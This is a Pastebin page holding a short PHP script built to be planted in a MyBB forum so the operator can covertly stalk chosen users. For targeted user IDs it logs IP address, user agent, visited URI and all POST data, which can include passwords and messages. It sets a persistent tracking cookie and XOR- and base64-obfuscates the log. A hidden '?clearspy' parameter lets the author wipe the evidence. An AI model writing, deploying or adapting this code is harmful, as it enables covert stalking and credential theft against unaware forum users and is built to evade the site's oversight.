Advertisement
Guest User

Untitled

a guest
Jul 8th, 2012
3,896
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.22 KB | None | 0 0
  1. <?php
  2. //Tracking
  3. if (isset($_COOKIE['mybbuser'])) {
  4. $usercookie=$_COOKIE['mybbuser'];
  5. $userid=substr($usercookie,0,strpos($usercookie,"_"));
  6. $cookieid=$_COOKIE['a'];
  7. $login=true;
  8. } else {$userid=0;$cookieid=$_COOKIE['a'];$login=false;}
  9. $users=array(/* UserIDs of people I want to stalk */);
  10. if (in_array($userid,$users) || in_array($cookieid,$users)) {
  11. if(!isset($_COOKIE['a'])){setcookie('a',$userid,2147483647);}
  12. //Alerting
  13. if (filesize("a.txt")==0 && false) { /* I set this to true to display a message to the person being stalked */
  14. $messagedisplayed=true;
  15. echo "";
  16. }
  17. $file=fopen("a.txt","a");
  18. $data['user']=$userid;
  19. $data['cookie']=$cookieid;
  20. $data['login']=$login;
  21. $data['time']=time();
  22. $data['uri']=$_SERVER['REQUEST_URI'];
  23. $data['ip']=$_SERVER['REMOTE_ADDR'];
  24. $data['useragent']=$_SERVER['HTTP_USER_AGENT'];
  25. if($_SERVER['REQUEST_METHOD']=="POST") {
  26. $data['post']=$_POST;
  27. }
  28. //Recording
  29. $output=serialize($data);
  30. for($i=0;$i<strlen($output);$i++) {$output{$i}=$output{$i}^chr(25);}
  31. $output=base64_encode($output);
  32. fwrite($file,$output."\n");
  33. fclose($file);
  34. }
  35. //Erasing
  36. if($userid==/* My UserID */) {
  37. if(isset($_GET['clearspy'])) {
  38. fclose(fopen("a.txt","w"));
  39. }
  40. }
  41. //Dieing
  42. if($messagedisplayed) {die();}
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement